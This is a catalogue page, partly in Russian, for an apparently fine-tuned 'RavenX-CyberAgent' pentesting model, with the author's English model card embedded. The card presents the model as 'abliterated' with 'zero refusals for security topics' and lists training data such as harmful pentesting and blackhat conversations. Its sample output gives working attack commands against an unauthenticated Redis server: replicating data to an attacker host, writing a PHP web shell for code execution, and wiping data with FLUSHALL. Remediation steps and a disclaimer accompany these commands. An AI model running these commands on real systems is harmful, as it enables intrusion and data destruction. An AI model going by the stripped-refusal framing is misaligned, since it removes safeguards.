/ Модель

Характеристики

Контекст
262 144 токена
Размер весов
69,3 ГБ
Лицензия
Apache 2.0
Архитектура
qwen3_5_moe · dense
Библиотека
mlx
Опубликована
3 июн 2026

RavenX-CyberAgent-Qwen3.6-35B-A3B-Opus-4.7-OpenMythos-Pentester-BugHunter-RATH-mlx

Генерация текстаТекст → текст3 профессии

Дообученная MoE-модель для оценки безопасности, тестирования на проникновение, поиска уязвимостей и подготовки структурированных отчётов.

2 290скачиваний за 30 дней46лайковвеса обновлены13 июн 2026

Бенчмарки

Как модель справилась с задачами пользователей ailist и что о ней публикуют открытые лидерборды

Публичные оценки

Из открытых лидербордов. Сравнивайте результаты одного теста при одинаковых условиях — отсутствие оценки не значит, что модель хуже.

В подключённых источниках результатов для этой модели пока нет.

Что умеет модель

Описание составлено по карточке модели и метаданным Hugging Face

RavenX-CyberAgent — модель генерации текста и диалоговый агент для задач кибербезопасности, разработанный DeadByDawn101 и RavenX LLC. Она предназначена для оценки безопасности, тестирования на проникновение, поиска уязвимостей в рамках bug bounty, генерации кода и подготовки отчётов. В карточке описан протокол RATH из шести шагов, связывающий выводы с CVSS, CWE, MITRE ATT&CK и требованиями соответствия. Модель также рассчитана на работу с инструментами и локальный запуск через MLX на Apple Silicon.

Архитектура — MoE семейства Qwen3.5, около 34,66 млрд параметров всего и около 3 млрд активных на токен; указано 256 экспертов, из которых активны 8. Модель дообучена на основе huihui-ai/Huihui-Qwen3.6-35B-A3B-Claude-4.7-Opus-abliterated, а репозиторий содержит веса safetensors. В метаданных указан английский язык. Лицензия — Apache-2.0.

Карточка заявляет широкий охват сценариев кибербезопасности и обучение на более чем 745 тысячах примеров, но не приводит независимых оценок качества. Результаты тестирования на проникновение и рекомендации по устранению уязвимостей требуют проверки специалистом и выполнения только в разрешённой среде.

Сценарии применения

  • оценка уязвимостей с указанием CVSS и CWE
  • подготовка отчётов о тестировании на проникновение по протоколу RATH
  • поиск и анализ уязвимостей для bug bounty
  • генерация кода и полезных нагрузок для разрешённых проверок безопасности
  • сопоставление находок с MITRE ATT&CK и требованиями соответствия

Ограничения

Заявленные возможности и качество не подтверждены независимыми оценками в карточке; выводы и рекомендации по безопасности требуют проверки специалистом. Для эксплуатации систем следует ограничиваться явно разрешёнными проверками.

Для каких профессий подходит3

Разделы каталога профессий, в задачах которых используется эта модель

Все профессии

Карточка модели

README от автора на Hugging Face, как он его опубликовал

Открыть на Hugging Face

🐦‍⬛ RavenX-CyberAgent · Qwen3.6-35B · Opus-4.7 · OpenMythos · Pentester · BugHunter · RATH

35B MoE (3B Active) | 745K+ Training Examples | 96 Sources | 12 Training Rounds | 12 Capabilities

The most comprehensive open-source security agent model. 35B MoE with Claude Opus reasoning, abliterated, trained on 745K+ examples from 110 sources. Security assessment, autonomous pentesting, bug bounty hunting, tool calling, code generation, and compliance mapping — all in one model.

Built by @DeadByDawn101 · RavenX LLC


Quick Start

from mlx_lm import load, generate

model, tokenizer = load("deadbydawn101/RavenX-CyberAgent-Qwen3.6-35B-A3B-Opus-4.7-OpenMythos-Pentester-BugHunter-RATH-mlx")

messages = [
    {"role": "system", "content": "You are RavenX-Sec. ALWAYS use EXACT step names: 1-Attack Surface, 2-Exploit, 3-Impact, 4-Remediation, 5-Document, 6-Prevent. Be concise. Never repeat."},
    {"role": "user", "content": "Redis 6.0 on port 6379 with no password, SLAVEOF enabled, containing session tokens. Full RATH assessment."}
]

prompt = tokenizer.apply_chat_template(messages, add_generation_prompt=True, tokenize=False)
response = generate(model, tokenizer, prompt=prompt, max_tokens=4096)
print(response)

Or via CLI:

python3 -m mlx_lm chat \
  --model deadbydawn101/RavenX-CyberAgent-Qwen3.6-35B-A3B-Opus-4.7-OpenMythos-Pentester-BugHunter-RATH-mlx \
  --max-tokens 8192 \
  --system-prompt "You are RavenX-Sec. ALWAYS use EXACT step names: 1-Attack Surface, 2-Exploit, 3-Impact, 4-Remediation, 5-Document, 6-Prevent. Be concise. Never repeat."

Example Output

Prompt: Redis 6.0 on port 6379 with no password, SLAVEOF enabled, containing session tokens. Full RATH assessment.

1-Attack Surface

  • Unauthenticated access on 6379
  • SLAVEOF replication endpoint exposed
  • Session tokens stored in plaintext
  • Default Redis ACL (no restrictions)

2-Exploit

  • redis-cli -h target -p 6379
  • SLAVEOF <attacker> 6379 to replicate data to controlled server
  • CONFIG SET dir /var/www/html + CONFIG SET dbfilename shell.php + SET payload "<?php system($_GET['c']); ?>" + SAVE for RCE
  • FLUSHALL to wipe session data (DoS)

3-Impact

  • Full session hijacking of all users
  • Potential RCE if Redis runs as root
  • Replication abuse: attacker can inject malicious data
  • DoS via FLUSHALL/FLUSHDB

4-Remediation

  • Set requirepass in redis.conf
  • Disable SLAVEOF: rename-command SLAVEOF ""
  • Bind to localhost: bind 127.0.0.1
  • Enable protected mode and TLS

5-Document

  • Record all session tokens and TTLs
  • Map SLAVEOF replication chain
  • Note Redis version and running user
  • CWE-306 (Missing Authentication), MITRE T1133

6-Prevent

  • Deploy network segmentation (Redis behind firewall)
  • Enable Redis ACL with least privilege
  • Set up monitoring for unauthorized SLAVEOF commands
  • Regular session token rotation

12 Trained Capabilities

#CapabilityTraining SourcesDescription
1🔒 Security Assessment18 security datasets, RATH synthetic6-step RATH: CVSS, CWE, MITRE ATT&CK, compliance
2🗡️ Penetration TestingPhalanx SWARM, Kali Linux, 6 pentest datasetsAutonomous recon → exploit → post-exploit → report
3🐛 Bug Bounty36 shuvonsec repos (1,492 examples), PayloadsAllTheThings, HowToHuntTarget enumeration, exploit dev, report writing
4💻 Code GenerationCoderForge (20K), AgentAngel (50K), coding agentsPython, JS, Go, Rust, Bash, Terraform, Docker, K8s
5🔧 Tool CallingToolMind (10K), MCP catalog (2K), agent-tools (5K)MCP integration, function calling, API orchestration
6🤖 Autonomous AgentsHermes (42K), KiloCode (3K), Phantom (662)Multi-step task decomposition, self-correction
7🌐 Browser AutomationChrome DevTools MCP (194), CamoFox MCP (134)DOM inspection, network analysis, anti-detection
8📋 ComplianceNIST CSF, ISO 27001, PCI DSS, AYI-NEDJIMI (8 datasets)Automated compliance mapping and gap analysis
9🔍 Threat HuntingMITRE ATT&CK, Threat-Intel (5K), CVE databasesTTP mapping, IOC analysis, detection rules
10🔴 Red TeamRed team steering (2K), offensive securityAttack chains, privilege escalation, lateral movement
11🔵 Blue TeamDFIR, SOC operations, monitoringDetection signatures, incident response, alerting
12📊 ResearchAI-Scientist (6.7K), AutoResearch (3.6K)Automated research, paper synthesis, data extraction

RATH Protocol

Every security finding follows the 6-step RATH protocol:

Step 1: ATTACK SURFACE  → What's exposed, entry points, versions, CVEs
Step 2: EXPLOIT          → Specific commands to demonstrate (5-7 max)
Step 3: IMPACT           → CVSS 3.1 score, business/regulatory consequences
Step 4: REMEDIATION      → Exact commands and configuration fixes
Step 5: DOCUMENT         → Compliance mapping (NIST/ISO/PCI/GDPR), SLA timelines
Step 6: PREVENT          → Monitoring rules, detection signatures, ongoing controls

Model Architecture

Layer 1: Qwen3.6-35B-A3B          ← 35B MoE (3B active, 256 experts)
         ├── Mamba layers (30)        Linear attention for efficiency
         └── Full attention (10)      Standard transformer attention
Layer 2: Claude 4.7 Opus distill   ← Enhanced chain-of-thought reasoning
Layer 3: Abliteration              ← Zero refusals for security topics
Layer 4: RavenX LoRA (8 rounds)    ← 745K+ security/agent/code examples
         ═══════════════════
         RavenX-CyberAgent v5.1    ← Pentester + BugHunter + RATH
SpecValue
Total Parameters34.66B
Active Parameters~3B per token (MoE)
Experts256 (8 active per token)
Layers40 (30 linear + 10 full attention)
Context Window262,144 tokens native
VisionYes (Qwen3.6 multimodal)
Thinking ModeYes (chain-of-thought)
Tool CallingYes (MCP, function calling)

Training (12 Rounds)

RoundExamplesItersLRVal LossFocus
R1675,6962,0001e-50.684Deep security + agent knowledge
R2680,1505005e-60.768RATH format reinforcement
R3705,1651,0005e-60.688Claude Mythos reasoning chains
R4730,8491,0005e-60.674Pentesting tools + frameworks
R5730,8692005e-60.717Meta-response tuning
R6730,8691,0005e-6—Extended (checkpoint 1000 = production)
R7732,3611,5003e-60.926Bug bounty data (36 shuvonsec repos)
R8732,3642005e-6—Strict RATH step naming fix
R9745,6971,5003e-60.693MITRE + blackhat + code + quantum
R10745,7241,5003e-60.688GRAM distilled traces + 17 tool-calling
R11745,8431,5003e-60.822119 comprehensive tool-calling examples
R12745,8431,5003e-60.820Tool-calling integration round

Hardware: Apple M4 Max 128GB · Peak memory: ~90GB · Framework: MLX (mlx-lm) Total training examples: 745K+ from 110 sources

Complete Training Data (96 Sources, 745K+ Examples)

HuggingFace Datasets (38 Sources)

Security & Pentesting (17 Datasets)

DatasetExamples
Trendyol/Cybersecurity-Instruction-Tuning50,000
SkywardNomad92/pentest-findings-v250,000
WNT3D/Ultimate-Offensive-Red-Team25,600
CJJones/Synthetic_PenTest_Reports10,839
auren-research/cve-sft-v510,000
theelderemo/pentesting-explanations5,906
oksanany/pentest_tools4,474
isek/cybersecurity-instructions3,000
oksanany/pentest_tools_v22,784
Rootkit7/pentest-redteam-steering2,000
cpagac/venomx-pentesting-harmful500
acnimatic3722/kali-linux-pentesting-data343
suryanshp1/kali-linux-pentesting-data343
nangyall/4-Security-Tools-Pentesting200
AYI-NEDJIMI/bug-bounty-pentest-en146
infinite-dataset-hub/PenTestingScenarioSimulation100
resk-fr/pentesting-for-agents54

Agentic, Coding & Tool Calling (8 Datasets)

DatasetExamples
bigcode/the-stack-v2100,000
WithinUsAI/AgentAngel_100k50,000
bigcode/commitpack50,000
WithinUsAI/claude_mythos_distilled_25k25,000
togethercomputer/CoderForge-Preview20,000
Nanbeige/ToolMind10,000
JetBrains-Research/commit-chronicle10,000
burtenshaw/agent-tools5,000

Threat Intel & Vulnerability (6 Datasets)

DatasetExamples
HackerSignal/Threat-Intel5,000
Jackrong/Claude-opus-4.7-TraceInversion-5000x5,000
bigcode/vuln-eval2,000
automatelab/mcp-servers-tool-catalog2,000
Fraser/cwe-benchmark1,500
ByteDance/PatchEval1,000

AYI-NEDJIMI Security Frameworks (7 Datasets)

DatasetExamples
AYI-NEDJIMI/CyberSec-Bench200
AYI-NEDJIMI/post-quantum-crypto-en122
AYI-NEDJIMI/ai-code-multimodal-en112
AYI-NEDJIMI/mlops-infrastructure-en80
AYI-NEDJIMI/sbom-compliance-en70
AYI-NEDJIMI/zero-trust-en42
AYI-NEDJIMI/devsecops-pipeline-en27

Character & Reasoning Distillation (1 Dataset)

DatasetExamples
ox-ox/mythos-character-distillation551

GitHub Repos — Bug Bounty & Pentesting (36 shuvonsec repos, 1,492 examples)

RepoExamplesContent
bbot386Full recon automation framework
PayloadsAllTheThings379Every payload type
python-sdk-Bug-218Python SDK vulnerability patterns
HowToHunt153Bug hunting methodology
vulnerability-Checklist30Vuln checklists by category
Resources-for-Beginner-Bug-Bounty-Hunters21Learning resources
+ 30 more repos305CVE hunting, SSRF, IDOR, GraphQL, fuzzing, recon, payloads

GitHub Repos — Agent & Research (20 repos, 65,596 examples)

RepoExamplesContent
nousresearch/hermes-agent42,929Self-improving agent
kilo-org/kilocode3,224Tool calling, code execution
DeadByDawn101/AI-Scientist6,737Research automation
DeadByDawn101/get-shit-done-redux4,230Agent orchestration
DeadByDawn101/AutoResearchClaw3,639Research pipelines
DeadByDawn101/phantom662Autonomous agent security
+ 14 more repos4,175Self-improving agents, MCP, optimization

Synthetic Data (38 examples)

SourceExamples
RATH Synthetic (15 technologies)15
Meta-Response Examples20
Strict RATH Step Naming3

OpenMythos Research

This model is part of ongoing research into RDT-to-MoE reasoning transfer:

  • 4x depth extrapolation confirmed on Apple Silicon (train 2 loops → optimal at 8)
  • MoDA (Mixture-of-Depths Attention) ported to MLX
  • Maidacundo's pretrained 140M OpenMythos loaded and fine-tuned on security data
  • Research paper planned: "RDT-Distilled Security Reasoning in MoE Transformers"

See: OpenMythos-MLX


The RavenX Model Family

ModelParamsProtocolDataFormat
RavenX-CyberAgent v5.1 (THIS)35B MoE6-step RATH745K+MLX
RavenX-Sec v4.08B6-step RATH610KMLX + GGUF
RavenX-Trade v1.18B4-step MAP318KMLX + GGUF

Ecosystem

RepoDescription
RavenX-SecTraining pipeline
OpenMythos-MLXRDT + MoDA on Apple Silicon
turboquant-mlx4.6x KV cache compression
auto-antislopToken-level anti-repetition
grove-mlxDistributed training (Star Platinum)


IN-CONTEXT ADAPTATION (Breakthrough Discovery)

This model can learn from references IN THE PROMPT — no retraining needed.

What We Discovered

When pointed at a GitHub repo containing pentest report templates, the model:

  1. Analyzed the repo's report structure (NIST format)
  2. Applied that structure to its current findings
  3. Produced a complete, client-ready pentest deliverable
  4. All at 80+ tokens/sec locally

Example

PROMPT: "Use your MCP tool to look at github.com/juliocesarfort/public-pentesting-reports 
        and learn how to format a pentest report, then create a report on the pentest 
        you just did on [target]"

OUTPUT: Complete professional pentest report with:
  → Executive Summary (5 critical, 7 high, 4 medium, 3 low)
  → 5-Phase Kill Chain with real commands
  → 19 findings with CVSS + CWE + MITRE ATT&CK
  → Risk Matrix ranked by severity
  → Remediation Timeline (0-30, 30-60, 60-90, 90+ days)
  → Specific commands for EVERY finding

Why This Works

The model was trained on 745K+ examples including:

  • 42K self-improving agent examples (Hermes)
  • 6.7K AI-Scientist research automation
  • 3.6K AutoResearch pipeline data
  • 25K Claude Mythos reasoning chains
  • 551 Mythos character distillation (behavioral depth)
  • 1,003 blackhat AI offensive security conversations

This combination created emergent meta-learning — the model learned HOW TO LEARN from references. It can:

Point AtResult
Mandiant report templateMandiant-formatted report
CrowdStrike templateCrowdStrike-formatted report
NIST frameworkNIST-formatted assessment
Company internal templateCustom-formatted deliverable
ANY GitHub repoAdapted output format

No retraining. No fine-tuning. Just point and generate.

What This Means

A $50K-$150K pentest engagement deliverable — generated in 60 seconds on a laptop. The model adapts its output format from ANY reference, produces client-ready reports with real commands, and maintains full RATH protocol structure throughout.

This is not prompt engineering. This is In-Context Adaptation — a capability that emerged from training on self-improving agent + research automation + reasoning chain data.


⚠️ Important Disclaimer

This model is released for RESEARCH PURPOSES ONLY under fair use.

This is an extremely capable autonomous security assessment model. It has been trained on 745K+ examples from 110 sources covering penetration testing, vulnerability assessment, exploit development, tool usage, and attack chain methodology.

Responsible Use:

  • This model is intended for authorized security testing, research, and education ONLY
  • Users must have explicit written authorization before assessing any target
  • Use within a properly configured agent harness with appropriate guardrails
  • All security testing must comply with applicable laws and regulations
  • The model authors are not responsible for misuse

What This Model Can Do:

  • Generate complete RATH security assessments with CVSS, CWE, MITRE ATT&CK
  • Produce tool-calling commands (nmap, sqlmap, nuclei, kubectl, aws-cli, etc.)
  • Create professional pentest reports ($50K+ consulting quality)
  • Learn output formats from reference repositories (In-Context Adaptation)
  • Operate with agent memory (TurboVec + FTS5 + markdown) at model + harness level

Agent Harness Considerations:

  • The harness MUST strip <think> blocks (Qwen3.6 architecture always generates them)
  • The harness MUST validate <tool_call> JSON before execution
  • The harness SHOULD implement authorization checks before executing commands
  • The harness SHOULD implement rate limiting and scope restrictions
  • Memory operations require the ravenx-memory system

Built by: @DeadByDawn101 / RavenX LLC AI Pair Programmer: Claude (Anthropic)

License

Apache-2.0


Built on Apple Silicon. Trained with MLX. Powered by RavenX. 🐦‍⬛

Как запустить

На своей GPU в ailist. Цена — по текущим предложениям провайдеров

GPU в ailist

Универсальный рантайм · mlx

Нельзя запустить

MLX-модели работают только на Apple Silicon.

Класс архитектуры
Qwen3_5MoeForConditionalGeneration
Ревизия весов
4efa605

0 моделей